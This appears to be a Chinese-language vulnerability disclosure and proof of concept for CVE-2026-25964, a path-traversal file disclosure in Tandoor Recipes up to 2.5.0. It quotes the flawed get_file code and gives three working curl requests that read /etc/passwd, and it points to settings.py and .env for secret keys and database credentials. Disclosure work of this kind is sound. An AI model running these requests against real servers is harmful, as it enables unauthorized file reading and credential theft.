通过配方导入实现认证本地文件泄露的 Proof-of-Concept
披露信息: 最初由我通过 GHSA-6485-jr28-52xx 报告
⚠️ 仅限授权渗透测试/研究使用。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-25964 |
| 严重性 | 🟡 中危 |
| CVSS 评分 | 4.9 |
| CVSS 向量 | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22:路径遍历,CWE-73:文件名的外部控制 |
| 受影响产品 | Tandoor Recipes ≤ 2.5.0 |
| 已修补版本 | 2.5.1 |
| 安全公告 | GHSA-6485-jr28-52xx |
Tandoor Recipes 的 RecipeImport 工作流中存在一个未正确授权的路径遍历漏洞(CWE-22),允许具有导入权限的认证用户读取服务器上的任意文件。该漏洞源于 file_path 参数缺乏输入验证以及 Local 存储后端检查不足,使攻击者能够绕过存储目录限制并访问敏感系统文件(例如 /etc/passwd)或应用程序配置文件(例如 settings.py),可能导致系统完全沦陷。
该漏洞源于未能根据应用程序预期的存储根目录验证用户提供的输入。
/api/recipe-import/ 端点允许认证用户使用任意的 file_path 和 storage 后端创建 RecipeImport 对象。未执行任何验证来确保 file_path 位于配置的存储目录内。cookbook/provider/local.py 中的 Local.get_file 方法处理文件检索请求:
@staticmethod
def get_file(recipe):
# 漏洞:直接打开 recipe.file_path 中指定的路径
# 而未验证其是否位于存储根目录内。
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd)或相对路径(例如 ../../app/config.py)。当通过 import_recipe 操作将 RecipeImport 对象转换为 Recipe 时,恶意路径会被持久化。随后调用 get_recipe_file 会触发易受攻击的读取操作,将文件内容返回给用户。
前提条件:具有配方导入权限的认证用户账户。默认情况下,此权限可能受到限制,但如果授予低权限角色,则影响会显著增加。即使对于管理员而言,这也代表了安全边界违规,因为应用程序级权限不应授予文件系统级读取权限。
步骤 1:创建恶意导入对象
发送 POST 请求以创建指向目标文件(例如 /etc/passwd)的 RecipeImport 对象。
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(注意:storage: 1 通常对应默认的本地存储。如有必要请调整。)

步骤 2:将导入转换为配方
触发导入过程以创建持久的 Recipe 对象。记下步骤 1 返回的 import_id(例如 4)。
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(将 <IMPORT_ID> 替换为步骤 1 响应中的 ID。此请求将返回新的 recipe_id(例如 34)

步骤 3:下载任意文件
使用步骤 2 返回的新配方 id(例如 34)通过配方文件端点访问该文件。
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
结果:服务器返回 /etc/passwd 的内容,确认了 LFD 漏洞。
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd 允许枚举系统用户。/opt/recipes/recipes/settings.py(已在测试中确认)或 .env。这会暴露 SECRET_KEY(允许会话伪造)和数据库凭据(允许直接访问数据库)。